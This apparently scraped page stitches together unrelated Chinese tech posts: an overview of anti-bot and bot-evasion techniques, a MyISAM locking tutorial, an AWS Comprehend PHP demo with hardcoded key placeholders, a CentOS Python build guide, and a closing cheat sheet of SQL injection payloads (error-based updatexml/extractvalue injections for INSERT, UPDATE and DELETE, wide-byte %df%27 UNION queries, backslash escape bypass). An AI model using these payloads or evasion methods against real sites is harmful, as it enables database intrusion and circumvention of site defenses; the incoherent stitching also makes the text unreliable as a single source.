常见爬虫/BOT对抗技术介绍(一)

爬虫,是大家获取互联网公开数据的有效手段。爬虫、反爬虫技术、反-反爬虫技术随着互联网的不断发展,也在不断发展更新, 本文简要介绍现代的爬虫/BOT对抗技术,如有疏漏,多谢指正!

一、反爬虫/BOT技术

1.1 Robots.txt

Robots.txt是一个古老的爬虫协议文件,他的位置位于域名根目录下。譬如http://example.com/robots.txt 。 严格来讲Robots.txt并不算一个反爬虫技术,而是一个由爬虫遵守的协议。它通过几个简单的命令告知遵守Robots.txt的爬虫哪些可以被爬取,哪些不能。一般的搜索引擎爬虫会遵守这个协议,而对于上升到爬虫技术对抗的层次来说,这个文件毫无意义。

1.2 IP层/网络层

网络层是反爬虫技术涉及到的最下层,再下的链路层信息在IP报文的传输过程中会被三层交换机丢弃,没有任何意义。IP报文带有的最重要的信息就是IP请求的来源地址, 来源地址极难(近乎不可能)伪造的特性, 使得这个字段成为反爬虫策略中最重要的字段。 封杀IP/IP段是网站可以执行的最严厉的惩罚。由于国内的ISP大量的使用了NAT技术,导致大量用户共用IP的情况越来越多, 内容提供方在做IP封杀时会越来越谨慎, 因为这样做会导致极高的误杀率,以至影响正常用户的网站访问。 但是即使如此, 源IP也是反爬虫策略中最为核心的数据,反爬策略的执行动作一般都要围绕源IP进行。

1.3 HTTP层

HTTP协议层有几个有趣的HTTP头,它们是制定反爬虫策略的常用数据。

1.3.1 X-Forwarded-For

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 Squid 缓存代理服务器的开发人员最早引入了这一HTTP头字段,并由IETF在HTTP头字段标准化草案中正式提出。
XFF头由普通HTTP代理服务器添加, 在用户通过普通HTTP代理访问网站时, 用户的IP地址会被添加到这个头中。 一些新手程序员在写代码时,往往会把这个的IP地址当做用户的真实IP地址使用,从而被爬虫利用。

1.3.2 Referer

Referer是浏览器在页面跳转时带入的HTTP头,指示用户上一个页面的URL, 一般来说,网站90%以上的流量应该带有Referer头, 在一些常见的反爬策略中, 大量的不带Referer头的源IP请求会触发”要求输入验证码”策略。

1.3.3 User-Agent

User-Agent 是一个古老的HTTP头,指示用户浏览器的版本、操作系统等基本信息, UserAgent伪装已经在其他的文章里有过充分的讨论,故本文不再赘述。

1.4 应用层/浏览器层

在HTTP层之上是应用层,HTTP层上的数据最终会交由浏览器或者APP去渲染、执行。 本文重点讨论基于现代浏览器的应用层反爬、及反反爬技术。

1.4.1 应用层反爬虫/BOT技术简介

1.4.1.1 验证码

验证码(CAPTCHA)是一种古老而有效的方式,用来判别请求方是否是人类。从最初的简单数字验证码、到后来的中文验证码,到现代的图片验证码, 验证码是应用层最普遍,也最核心的爬虫对抗技术。 对于一些简单的数字、字母验证码, 随着近几年机器学习、神经网络的快速发展,已经近乎于无效。有人训练出基于LSTM的模型可以达到80~90%的识别正确率。 对于图片验证码, 也有灰产专门用人工打码平台来处理,所以单凭验证码很难有效处理爬虫问题, 过多的验证码也会导致正常用户的体验受到影响。

1.4.1.2 JS渲染(Ajax / SPA)

众所周知, Ajax技术在2004年左右开始迅速发展,成为重要的浏览器端技术, 也让爬虫从静态爬虫转化为动态爬虫。 从此,爬取网站的数据不再是简单的一个HTTP请求, 然后解析HTML页面就可以了。大量的网站使用ajax来构建网站前端,也使得解析数据变得越来越困难。 在网站完全不设防的状态,爬虫也不止需要解析HTML页面, 亦需要解析Ajax接口返回的数据。

1.4.1.3 接口加密与JS混淆

一般Ajax接口返回的是一个JSON/XML数据格式,除了给爬虫工程师制造一点点的麻烦以外,并没有任何的反爬虫作用, 只需一点点的前端逆向能力(利用Chrome Debug工具, 找到网络请求),就可以找到ajax接口,并通过对应的库解析出数据。但是如果前端通过JS混淆、并把ajax接口通过token进行加密的话,事情就变得比较麻烦了。 这种做法的思路是, ajax接口除了正常的HTTP请求参数外,额外还要接受一个Token参数,这个token参数是前端的js脚本通过其他的参数加密出来的, 它可能是xor、md5、或者是sha256等等。参数可以是用户名、ip、cookies的sessionid、甚至是用户的操作流程(支付宝的做法)再加上前端把js的函数调用层层嵌套、隐藏、 再加上js脚本混淆,令破解者无法方便的逆向出token计算的流程, 就可以达到一定的反爬目的。

1.4.1.4 数据混淆

爬虫的目的是获取到有效的数据。对于许多应用来说,获取到错误的数据往往比获取不到数据更加致命。(想象一下比价网站拿到的都是错误数据的场景)。这个思路的核心就是,当爬虫命中反爬规则之后,使用错误的数据代替正确的数据返回给爬虫, 这种方式非常隐蔽,又可以对对手造成足够的麻烦, 可以说非常的猥琐、也相当的有效。

1.4.1.5 行为分析

用户的操作轨迹与爬虫的操作轨迹是不同的。举个例子, 在电商网站上,用户可能会浏览100个或者更多相似的商品,最终选择一个进行下单。而爬虫的行为可能是浏览100000个商品,且它们之间彼此关联度很低, 最终也不会有任何购买动作。从这个维度来说,就可以判断出这个请求来源是客户还是爬虫。 结合其他的反爬手段,就可以对爬虫造成有效干扰。低级的行为分析基于规则,高级的行为分析基于机器学习。 对于用户操作比较多的网站来讲,是一种很可靠的反爬手段。

1.4.1.6 存储跟踪与flash Storage

Cookies是众所周知的浏览器保持状态的一种机制。 除了Cookies,现代的浏览器还支持localStorage。以目前国内用户的使用习惯,绝大多数用户不会设置拒绝Cookies保持。所以,拒绝Cookies跟踪的客户端可以认为就是爬虫。通过Cookies,就可以跟踪用户的行为轨迹。 除此之外,如果用户使用浏览器模拟技术,一定在每次请求时会清空Cookies。 Cookies被清空之后,我们仍然有机会使用flash来继续跟踪用户。今天的(2017年)Flash确实是一个夕阳技术,但仍然保持极高的市场占用率,在PC端,90%以上的国内视频网站依然采用flash作为播放器的客户端。所以,一个以PC端流量为主的网站,可以使用flash来进行用户跟踪。值得高兴的是,在flash插件中,通过Capabilities.serverString可以获取到非常多的系统信息,包括操作系统、语言、系统分辨率、DPI等等等等。这些系统信息与JS上下文、UserAgent、用户访问日志进行一起分析,就可以判断是否是伪装为爬虫的浏览器。举个例子,如果是正常的用户, 从flash、js上下文、useragent拿到的参数应该是一致的,而如果伪造过UA(不那么高明的伪造),则肯定会有纰漏。正所谓一个谎言需要用十个谎言去掩盖。

1.4.1.7 navigator对象

浏览器中的window.navigator对象保持了很多的操作系统、浏览器信息。navigator对象的信息配合Useragent、flash,可以用来判断是否是伪装浏览器。

1.4.1.8 假链陷阱

假链陷阱作为反爬手段,多见于半静态网站。 它的思路主要是构建一个不可见的a标签, 如果爬虫跟踪所有的页面链接,势必会掉到构造好的陷阱,导致爬虫命中反爬策略。

1.4.1.9 浏览器指纹

浏览器指纹技术常用于客户端跟踪及反机器人的场景。核心思路是, 不同浏览器、操作系统、以及操作系统环境,会使得canvas的同一绘图操作流程产生不同的结果。如果是相同的运行环境,同一套Canvas操作流程会产生相同的结果。 浏览器指纹的优势是不需要浏览器保持本地状态,即可跟踪浏览器。 由于国内特色的Ghost系统安装,这种方式的误杀率并不低,

1.4.1.10 JS引擎指纹

这种思路是,不同的JS引擎在执行相同的JS语句时,会有不同的结果。 举个例子来说,eval.toString().length,在Safari浏览器中的结果是 37 , 在IE中是39 , 在Chrome 中的结果是33. 通过判断JS引擎的动作和UserAgent中声称的浏览器类型,可以判断是否是伪造浏览器。

1.4.2 应用层反反爬虫/BOT方案简介

1.4.2.1 前端逆向

前端逆向,就是利用前端所有代码、数据都是暴露给客户端的特点, 通过分析HTML、JS等源码来获取数据的技术。 常用的前端逆向工具就是Chrome Debug 工具。前端逆向分析通常用来分析那些动态渲染的网站。 如果分析透彻,可以避免使用浏览器模拟的方式来进行爬取。

1.4.2.2 浏览器模拟

浏览器模拟指利用真实的浏览器去请求、执行页面和脚本。应用场景是爬取带有复杂JS和接口加密的网站、也被BOT用于复杂网站。常见的浏览器模拟框架有Selenium WebDriver、 PhatomJS。 Selenium 是通过浏览器的debug接口进行浏览器的远程操控API。PhantomJS是一个嵌入了浏览器内核的js渲染服务,这种技术可以用来对抗动态渲染和接口加密。所有的渲染和加密过程都由浏览器内核完成。 高级的做法是用CEF(Chrome Embedded Framework)进行二次开发。通过二次开发CEF,可以获得很强的灵活性, 比如在页面加载之前劫持JS对象、用C++代码hook native js api等等。这种技术的主要劣势是低下的性能。 与纯粹的HTTP请求代码来说, 这种方案要多吃50~500倍的CPU。 也就是说, 它的效率要下降数十倍到数百倍左右。

1.4.2.2 字符识别

光学字符识别(OCR)用于对抗简单的数字、字母验证码。初级的OCR基于模板。高级的字符识别基于神经网络,比如[这个项目],它基于LSTM模型,可以提供更好的识别率。

1.4.2.4 行为模拟

行为模拟是指在爬虫和BOT的过程中,有意的留下Cookie,并请求一些与需要爬取数据无关的接口或者做一些动作,用来模拟一般用户的动作, 用于对抗行为分析。 在BOT场景下,这种方式也用来模拟用户的活跃度和留存率。 一般来说,行为模拟的主要依据来源于前端逆向的工作, 破解者需要确定究竟有哪些HTML元素和用户行为事件被网站所关注,并针对性的做出想要模拟的行为。 大多数情况下,爬虫的行为模拟是请求某个日志上报接口, 而一些比较特殊的网站(比如支付宝), 用户行为数据附着在请求普通接口的参数中,并经过高度混淆。

1.4.2.6 打码平台

打码平台用来对抗强度比较高的验证码和人机验证方案。正常的验证码流程是,由网站生成一张图片传递给用户,用户输入这张图片的信息传回网站,完成人机验证。 破解者通过对接打码平台,将用户识别信息的环节放到打码平台去做,打码平台组织一群专职人员,进行验证码的识别工作,并传回爬虫,完成验证码的识别工作。高级的打码平台还会利用这些海量的打码数据进行模型训练。

1.4.2.7 JS Hook

这种方式主要用来对抗js上下文的跟踪和分析。做法是,在页面加载前,通过替换JS上下文的对象,将JS上下文中的对象和方法替换掉。 例如,将window.screen对象替换, 使网站的js代码获取到替换后的屏幕分辨率。 JS Hook一般在CEF二次开发中实现,也可以通过劫持普通浏览器的流量完成js hook。

二、IP层反反爬虫技术

2.1 代理服务器

对于爬虫的客户端编程来说,利用代理服务器进行源IP更改,是最简单易行的方式。 代理服务器分为HTTP代理和Socks代理两类。HTTP又分为HTTP和HTTPS代理, Socks又分为Socks4和Socks5两类。

2.2.1 HTTP代理

HTTP代理是一种常见的代理服务类型。常用80、8080端口, 它的协议在RFC 7230 中定义。 对于连接到它的客户端来说,它是服务端;对于要连接的服务端来说,它是客户端。它就负责在两端之间来回传送 HTTP 报文。 根据XFF头部的添加与否, 分为普通代理和高匿代理两类。 普通代理会把请求方的源IP添加在HTTP请求头, 而高匿代理不会。对于服务端程序员来说,通过XFF头判断用户的源IP来源是一种十分 Too Young , sometimes naive 的行为,因为服务端完全没有能力判断这个XFF头是由请求方伪造的,还是由代理服务器添加的。 网上流传的一些Java代码,会首先判断XFF头,如果有则将XFF头作为源IP处理,这种方式基本没有任何反爬虫作用。

2.2.2 Socks代理

SOCKS是另外一种常见的代理服务。SOCKS是”SOCKetS”的缩写[1]。这个协议最初由David Koblas开发,而后由NEC的Ying-Da Lee将其扩展到版本4。最新协议是版本5,与前一版本相比,增加支持UDP、验证,以及IPv6。根据OSI模型,SOCKS是会话层的协议,位于表示层传输层之间。 也就是说,Socks通过TCP连接作为隧道进行代理。 Socks代理中,Socks5代理最为常见。

接下来我会介绍其他的的IP层反-反爬虫方案。

目录如下

2.2 VPN
2.3.1 简单 VPN
2.3.2 混合网络VPN

2.3 VPS
2.4 单机PPP拨号
2.5 并发PPP拨号

三、并发PPP连接技术简介
3.1 PPP协议栈简单介绍
3.2 PPP连接和ADSL的关系
3.3 城域网技术简介
3.4 并发PPP连接方案的适用范围
3.5 国内并发PPP连接服务提供商

四、Linux路由
4.1 Linux基础路由简介
4.2 Linux高级路由简介

MyISAM加锁分析

为什么加锁

你正在读着你喜欢的女孩递给你的信,看到一半的时候,她的好闺蜜过来瞄了一眼(假设她会隐身术,你看不到她),她想把“我很喜欢你”改成“我不喜欢你”,刚把“很”字擦掉,“不”字还没写完,只写了一横一撇,这时候你正读到这个字,她怕你察觉到也就没继续往下写了,这时候你读到的这句话就是“我丆喜欢你”,这是什么鬼?!这位闺蜜乐了:没错,确实是鬼在整蛊你呢,嘿嘿!

数据库也会闹鬼吗?很有可能!假设会话1正在读取表里的一条记录(还没读取完),另一个会话2突然插队过来更新表里的同一条记录(还没更新完),那么会话1拿到的数据就可能是错误的(还没更新完的内容和原内容混在一起,造成乱码,就像上面的“我丆喜欢你”)。

怎么避免这种情况呢?加锁,当有一个人在读的时候,别人能读不能写,当有一个人在写的时候,别人不能读和写。

所以,加锁是为了在并发操作的时候,能够确保数据的完整性和一致性。

加锁的规则

MyISAM锁的粒度是表级锁,在执行查询(SELECT)之前,尝试在表上面加读锁,在执行更新(UPDATE,DELETE,INSERT)之前,尝试在表上面加写锁。

加写锁:

如果在表上没有锁(读锁和写锁),在它上面放一个写锁。
否则,把锁定请求放在写锁定队列中。

加读锁:

如果在表上没有写锁定,把一个读锁定放在它上面。
否则,把锁定请求放在读锁定队列中。

优先级:

当一个锁定被释放时,锁定优先被写锁定队列中的线程得到,然后是读锁定队列中的线程。这意味着如果有大量的写操作,读操作将会一直等待,直到写完成。可以通过以下命令看到加锁的情况:

SHOW STATUS LIKE 'table%';
+-----------------------+-------+
| Variable_name         | Value |
+-----------------------+-------+
| Table_locks_immediate | 42    |
| Table_locks_waited    | 3     |
+-----------------------+-------+

Table_locks_immediate是加锁立刻执行成功的次数,Table_locks_waited是造成等待的加锁次数。另外,可以通过LOW_PRIORITY来改变优先级

实例分析

开一个会话窗口1,输入下面的语句执行:

CREATE TABLE `users`(
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(15) NOT NULL,
PRIMARY KEY (`id`)
)ENGINE=MYISAM DEFAULT CHARSET=utf8 COMMENT='用户';

INSERT INTO `users` VALUES (null, 'pigfly'),(null,'zhupp');

为了模拟,我们手动执行LOCK TABLES语句把表锁住:

LOCK TABLES `users` READ LOCAL;
SELECT * FROM `users`;
UPDATE `users` SET name='aa' where id=1;

SELECT正常返回,UPDATE报错了,原因是当前表加了读锁,则当前会话只能执行读操作,不能执行更新操作。

新开一个会话窗口2:

INSERT INTO `users` VALUES (null, 'zhupp');
UPDATE `users` SET name='xxx' where id=1;

可以看到插入执行成功,但是UPDATE操作被窗口1加的读锁阻塞了,我们回到窗口1执行:

UNLOCK TABLES;

这时候窗口2的更新语句马上返回更新成功了。

为什么插入不会被读锁阻塞呢?原因是当表加了读锁并且表不存在空闲块的时候(删除或者更新表中间的记录会导致空闲块,OPTIMIZE TABLE可以清除空闲块),MYISAM默认允许其他线程从表尾插入。可以通过改变系统变量concurrent_insert(并发插入)的值来控制并发插入的行为。

SHOW VARIABLES LIKE 'concurrent%';
+-------------------+-------+
| Variable_name     | Value |
+-------------------+-------+
| concurrent_insert | AUTO  |
+-------------------+-------+

Value的值:

  • NEVER(0): 不允许并发插入
  • AUTO(1): 表里没有空行时允许从表尾插入(默认)
  • ALWAYS(2): 任何时候都允许并发插入

注意:锁表的时候加了LOCAL关键字表示允许走并发插入的逻辑,具体是否可以并发插入还需要看是否满足concurrent_insert指定的条件,只有手动锁表的时候才需要指定LOCAL关键字。

测试一下当表里有空闲块的情况,窗口1执行:

DELETE FROM `users` WHERE id=1;
LOCK TABLES `users` READ LOCAL;

然后在窗口2执行:

INSERT INTO `users` VALUES (null, 't1');

果然被阻塞了。我们把并发插入的值改成2试试,在窗口1执行:

UNLOCK TABLES;
SET GLOBAL concurrent_insert=2;
DELETE FROM `users` WHERE id=2;
LOCK TABLES `users` READ LOCAL;

然后在窗口2执行:

INSERT INTO `users` VALUES (null, 't2');
SELECT * FROM `users`;

这一次没有被阻塞,插入成功了。

表级锁的特点

开销小、加锁快、不会产生死锁,锁定力度大,发生锁冲突的概率最高,不适合高并发场景。

性能优化

  1. 对于并发插入,一般默认配置AUTO就可以了,如果有大量插入操作,可以把concurrent_insert设置为2,然后定期在流量低峰期执行OPTIMIZE TABLE来清除空闲块。
  2. 调整优先级。
  3. 在大量更新操作前手动锁表,这样锁表只执行了一次,不然每执行一次更新就锁一次表。
  4. 存在大量更新操作造成等待,又要兼顾查询的时候,给max_write_lock_count设置一个低值,在写锁达到一定数量时允许执行挂起的读请求。

Amazon Comprehend 自然语言处理,PHP使用教程,调用示例

Amazon Comprehend 是一项自然语言处理 (NLP) 服务,使用机器学习来发现文本中的洞察信息。Amazon Comprehend 提供关键词提取、情绪分析、实体识别、主题建模和语言检测 API,因此您可以轻松地将自然语言处理集成到您的应用程序中。您只需在应用程序中调用相应 Amazon Comprehend API 并提供源文档或文本的位置即可。这些 API 将以 JSON 格式输出实体、关键词、情绪和语言,以供您在应用程序中使用。

一、通过Composer安装SDK(需要安装aws/aws-sdk-php软件包)

composer require aws/aws-sdk-php

https://packagist.org/packages/aws/aws-sdk-php

或下载独立的AWS来开始使用。 zip 或aws.phar文件。
https://docs.aws.amazon.com/aws-sdk-php/v3/download/aws.zip
二、非框架安装需要引用/vendor/autoload.php
use Aws\Comprehend\ComprehendClient;
use Aws\Exception\AwsException;

完整demo

<?php
namespace app\controller;

use app\BaseController;
use Aws\Comprehend\ComprehendClient;
use Aws\Textract\TextractClient;
use Aws\Exception\AwsException;
class Index extends BaseController
{
	/**
	 * doc:https://docs.aws.amazon.com/aws-sdk-php/v3/api/api-comprehend-2017-11-27.html#detectsentiment
	 */
    public function aws(){
	    $client=new ComprehendClient([
		    'version' => 'latest',
            //'version' => '2018-06-27',
		    'region' => 'us-west-2',
		    'credentials' => [
			    'key' => 'AKIAQHKSE4HRGDDDDDDD', //IAM user key
			    'secret' => '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', //IAM user secret
		    ]]);

	    /**
	     * 情绪分析
	     * 情绪分析 API 会返回文本的整体情绪(正面、负面、中性或混合)。
	     */

	    $result = $client->detectSentiment([
//	    'LanguageCode'=>'en | es | fr | de | it | pt | ar | hi | ja | ko | zh | zh-TW',//必填
	    'LanguageCode'=>'en',//必填
        'Text'=>'Your service attitude is really poor',//必填
		]);
	    print_r($result->toArray());
	    /*
		Array
		(
		    [Sentiment] => NEGATIVE
		    [SentimentScore] => Array
		        (
		            [Positive] => 6.2582264945377E-5
		            [Negative] => 0.99910479784012
		            [Neutral] => 0.00083179638022557
		            [Mixed] => 8.1932506645899E-7
		        )

		    [@metadata] => Array
		        (
		            [statusCode] => 200
		            [effectiveUri] => https://comprehend.us-west-2.amazonaws.com
		            [headers] => Array
		                (
		                    [x-amzn-requestid] => 7436bbaf-73c1-4462-a814-d29efe81522f
		                    [content-type] => application/x-amz-json-1.1
		                    [content-length] => 164
		                    [date] => Thu, 21 May 2020 08:46:28 GMT
		                )

		            [transferStats] => Array
		                (
		                    [http] => Array
		                        (
		                            [0] => Array
		                                (
		                                )

		                        )

		                )

		        )

		)
	    */
	    /**
	     * 语言检测
	     * 语言检测 API 可自动识别出 100 多种语言编写的文本,并返回主导语言以及证明其占据主导地位的置信度得分。
	     */

	    $result =$client->detectDominantLanguage([
		    'Text'=>'Your service attitude is really poor',//必填
	    ]);
	    print_r($result->toArray());
	    /*
	    Array
	    (
		    [Languages] => Array
		    (
			    [0] => Array
			    (
				    [LanguageCode] => en
				    [Score] => 0.98973816633224
                )

            )

		    [@metadata] => Array
			    (
				    [statusCode] => 200
		            [effectiveUri] => https://comprehend.us-west-2.amazonaws.com
		            [headers] => Array
			    (
				    [x-amzn-requestid] => e4a6f3cd-5678-46b7-abd3-51d81e28b69f
			    [content-type] => application/x-amz-json-1.1
		                    [content-length] => 64
		                    [date] => Thu, 21 May 2020 08:42:48 GMT
		                )

		            [transferStats] => Array
			    (
				    [http] => Array
				    (
					    [0] => Array
					    (
					    )

				    )

			    )

		        )

		)
	     */
	    /**
	     * 关键词提取
	     * 关键词提取 API 会返回关键词或谈话要点以及证明此为关键词的置信度。
	     */

	    $result =$client->detectKeyPhrases([
		    'LanguageCode'=>'en',//必填
		    'Text'=>'Your service attitude is really poor',//必填
	    ]);
	    print_r($result->toArray());
        /*
	    Array
	    (
		    [KeyPhrases] => Array
		    (
			    [0] => Array
			    (
				    [Score] => 1
                    [Text] => Your service attitude
	    [BeginOffset] => 0
                    [EndOffset] => 21
                )

        )

		    [@metadata] => Array
			    (
				    [statusCode] => 200
		            [effectiveUri] => https://comprehend.us-west-2.amazonaws.com
		            [headers] => Array
			    (
				    [x-amzn-requestid] => 18657c2a-28d9-432c-9e4b-b403ac597299
			    [content-type] => application/x-amz-json-1.1
		                    [content-length] => 92
		                    [date] => Thu, 21 May 2020 09:01:37 GMT
		                )

		            [transferStats] => Array
			    (
				    [http] => Array
				    (
					    [0] => Array
					    (
					    )

				    )

			    )

		        )

		)
        */


	    /**
	     * 实体识别
	     * 实体识别 API 会返回根据提供的文本自动分类的命名实体(“人物”、“地点”和“位置”等)。
	     */

	    $result =$client->detectEntities([
		    'LanguageCode'=>'en',//必填
		    'Text'=>'Your service attitude is really poor',//必填
	    ]);
	    print_r($result->toArray());
	    /*
	    Array
	    (
		    [Entities] => Array
		    (
		    )

		    [@metadata] => Array
			    (
				    [statusCode] => 200
		            [effectiveUri] => https://comprehend.us-west-2.amazonaws.com
		            [headers] => Array
			    (
				    [x-amzn-requestid] => 78db83bb-7bca-4381-82f8-06deb3e18546
			    [content-type] => application/x-amz-json-1.1
		                    [content-length] => 15
		                    [date] => Thu, 21 May 2020 09:04:33 GMT
		                )

		            [transferStats] => Array
			    (
				    [http] => Array
				    (
					    [0] => Array
					    (
					    )

				    )

			    )

		        )

		)
	     */

	    /**
	     * 语法分析
	     * 借助 Amazon Comprehend Syntax API,客户能够使用分词断句和词性 (PoS) 分析文本,识别文本中的名词和形容词等单词边界和标签。
	     */
	    $result =$client->detectSyntax([
		    'LanguageCode'=>'en',//必填
		    'Text'=>'Your service attitude is really poor',//必填
	    ]);
	    print_r($result->toArray());

	    /*
	    Array
	    (
		    [SyntaxTokens] => Array
		    (
			    [0] => Array
			    (
				    [TokenId] => 1
                    [Text] => Your
	    [BeginOffset] => 0
                    [EndOffset] => 4
                    [PartOfSpeech] => Array
				    (
					    [Tag] => PRON
					    [Score] => 0.99996387958527
			                        )

			                )

			            [1] => Array
				    (
					    [TokenId] => 2
			                    [Text] => service
				    [BeginOffset] => 5
			                    [EndOffset] => 12
			                    [PartOfSpeech] => Array
				    (
					    [Tag] => NOUN
					    [Score] => 0.9985853433609
			                        )

			                )

			            [2] => Array
				    (
					    [TokenId] => 3
			                    [Text] => attitude
				    [BeginOffset] => 13
			                    [EndOffset] => 21
			                    [PartOfSpeech] => Array
				    (
					    [Tag] => NOUN
					    [Score] => 0.99978679418564
			                        )

			                )

			            [3] => Array
				    (
					    [TokenId] => 4
			                    [Text] => is
				    [BeginOffset] => 22
			                    [EndOffset] => 24
			                    [PartOfSpeech] => Array
				    (
					    [Tag] => VERB
					    [Score] => 0.99935394525528
			                        )

			                )

			            [4] => Array
				    (
					    [TokenId] => 5
			                    [Text] => really
				    [BeginOffset] => 25
			                    [EndOffset] => 31
			                    [PartOfSpeech] => Array
				    (
					    [Tag] => ADV
					    [Score] => 0.9999988079071
			                        )

			                )

			            [5] => Array
				    (
					    [TokenId] => 6
			                    [Text] => poor
				    [BeginOffset] => 32
			                    [EndOffset] => 36
			                    [PartOfSpeech] => Array
				    (
					    [Tag] => ADJ
					    [Score] => 0.9997541308403
			                        )

			                )

			        )

			    [@metadata] => Array
				    (
					    [statusCode] => 200
			            [effectiveUri] => https://comprehend.us-west-2.amazonaws.com
			            [headers] => Array
				    (
					    [x-amzn-requestid] => 0eb35b66-d36a-43e8-94ee-b5b0c3e786eb
				    [content-type] => application/x-amz-json-1.1
			                    [content-length] => 722
			                    [date] => Thu, 21 May 2020 09:08:51 GMT
			                )

			            [transferStats] => Array
				    (
					    [http] => Array
					    (
						    [0] => Array
						    (
						    )

					    )

				    )

			        )

			)
	    */

    }
}

https://docs.aws.amazon.com/comprehend/latest/dg/comprehend-general.html

https://aws.amazon.com/cn/comprehend/features/

https://docs.aws.amazon.com/general/latest/gr/rande.html

https://docs.aws.amazon.com/comprehend/latest/dg/supported-languages.html

linux(centos)安装python

下载pthon安装包
https://www.python.org/downloads/source/

wget https://www.python.org/ftp/python/3.8.3/Python-3.8.3.tgz

创建安装目录

mkdir -p /usr/local/python3.8.3

解压

tar -zxvf Python-3.8.3.tgz

 编译安装 首先需要gcc环境和zlib库为了方向键等不出现乱码还需要 readline-devel 包

yum -y install gcc
yum -y install zlib*
yum install readline-devel
yum -y install zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel libffi-devel make
cd Python-3.8.3
./configure --prefix=/usr/local/python3.8.3 --enable-optimizations --enable-shared --with-ssl

关于./configure --prefix=/usr/local/python3.8.3 --enable-optimizations --enable-shared --with-ssl 命令说明

--prefix 指定安装的路径,不指定的话,安装过程中可能软件所需要的文件复制到其他不同目录,删除软件很不方便,复制软件也不方便.
--enable-optimizations 可以提高python10%-20%代码运行速度.
--enable-shared 是为了安装Vim的插件:YouCompleteMe ,不通过此参数编译的话,后面安装该插件会出错
--with-ssl 是为了安装pip需要用到ssl,后面报错会有提到.
#编译安装
make && make install
建立软链接
ln -s /usr/local/python3.8.3/bin/python3.8 /usr/bin/python
ln -s /usr/local/python3.8.3/bin/pip3.8 /usr/bin/pip
[root@fd07bda1fc63 bin]# python --version
Python 3.8.3

坑一

[root@198e6d7f2d48 Python-3.8.3]# python --version
python: error while loading shared libraries: libpython3.8.so.1.0: cannot open shared object file: No such file or directory

原因是因为python运行时没有加载到libpython3.6m.so.1.0 这个库文件,将其复制到响应目录OK,输入下列命令即可
解决办法:

 cp /usr/local/python3.8.3/lib/libpython3.8.so.1.0 /usr/lib64/ 

坑二

WARNING: pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available.
Collecting Scrapy
  WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/scrapy/
  WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/scrapy/
  WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/scrapy/
  WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/scrapy/
  WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'SSLError("Can't connect to HTTPS URL because the SSL module is not available.")': /simple/scrapy/
  Could not fetch URL https://pypi.org/simple/scrapy/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/scrapy/ (Caused by SSLError("Can't connect to HTTPS URL because the SSL module is not available.")) - skipping
  ERROR: Could not find a version that satisfies the requirement Scrapy (from versions: none)
ERROR: No matching distribution found for Scrapy
WARNING: pip is configured with locations that require TLS/SSL, however the ssl module in Python is not available.
Could not fetch URL https://pypi.org/simple/pip/: There was a problem confirming the ssl certificate: HTTPSConnectionPool(host='pypi.org', port=443): Max retries exceeded with url: /simple/pip/ (Caused by SSLError("Can't connect to HTTPS URL because the SSL module is not available.")) - skipping

解决办法

./configure –prefix=/usr/local/python3.8.3 –enable-optimizations –enable-shared –with-ssl


–with-ssl 是为了安装pip需要用到ssl,后面报错会有提到.

pip install --upgrade pip  -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn
pip install scrapy    -i https://pypi.tuna.tsinghua.edu.cn/simple --trusted-host pypi.tuna.tsinghua.edu.cn

几种SQL注入(insert,update,delete,`, \ 等。。。)

insert注入:
$sql = “insert into user(username,password) values(‘$username’,’$password’,)”;

payload: 适用于字符型:
‘ or updatexml(1,concat(0x7e,(database())),0) or ‘
适用于数字型:
‘ or extractvalue(1,concat(0x5e24,(database()))) or ‘

$sql = “insert into user(username,password) values(” or updatexml(1,concat(0x7e,(database())),0) or ”,’$_POST[‘password’]’)”;

 

update注入:
$sql = “update user set username=’$username’,password=’$password’ where id=$id”;

payload:适用于字符型:
‘ or updatexml(1,concat(0x7e,(database())),0) or ‘
适用于数字型:
‘ or extractvalue(1,concat(0x5e24,(database()))) or ‘

$sql = “update user set username=” or updatexml(1,concat(0x7e,(database())),0) or ”,password=’$_POST[‘password’]’ where id=$_POST[‘id’]”;

delete注入:
$sql = “delete from user where id=$id”;

pauload:
or or updatexml(1,concat(0x7e,(database())),0) or ‘ ‘
or extractvalue(1,concat(0x5e24,(database()))) or ‘ ‘

其他类型的payload:

‘or(有效载荷)or’

‘and(有效载荷)and’

‘or(有效载荷)and’

‘or(有效载荷)and’=’

‘*(有效载荷)*’

‘or(有效载荷)and’

“ – (有效载荷) – “

宽字节注入:
由于转义了单引号成 \’  但是%df与\构成双字节,%df\结合为中文,从而%27逃逸

$sql = “select * from user where username=’$username'”;

payload:

-1%df%27 union select 1,2,group_concat(column_name) from information_schema.columns

where table_name=’table.name’ #  (后面的”可以使用16进制编码,编码结束后在前面加上0x)

sql语句有 \:
$sql = “select * from users where username=\”.$usename.’\’ and password=\”.$password.’\'”;

$username,$password 被过滤:

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str); //删除字符串里的\
}
return htmlentities($str, ENT_QUOTES);
//比如我们对字符串”<script>”使用htmlentities函数,字符串”<script>”将被转化为”&lt;script&gt;”,
//将”<“和“>”转换为HTML实体,可以防止浏览器将它们作为HTML元素的一部分被解释或运行(经常使用在用户提交表单数据的时候)。
//htmlentities($str, ENT_COMPAT); // 只转换双引号
//htmlentities($str, ENT_QUOTES); // 转换双引号和单引号
//htmlentities($str, ENT_NOQUOTES); // 不转换任何引号
}

payload:

username=admin\&password=or 1 #

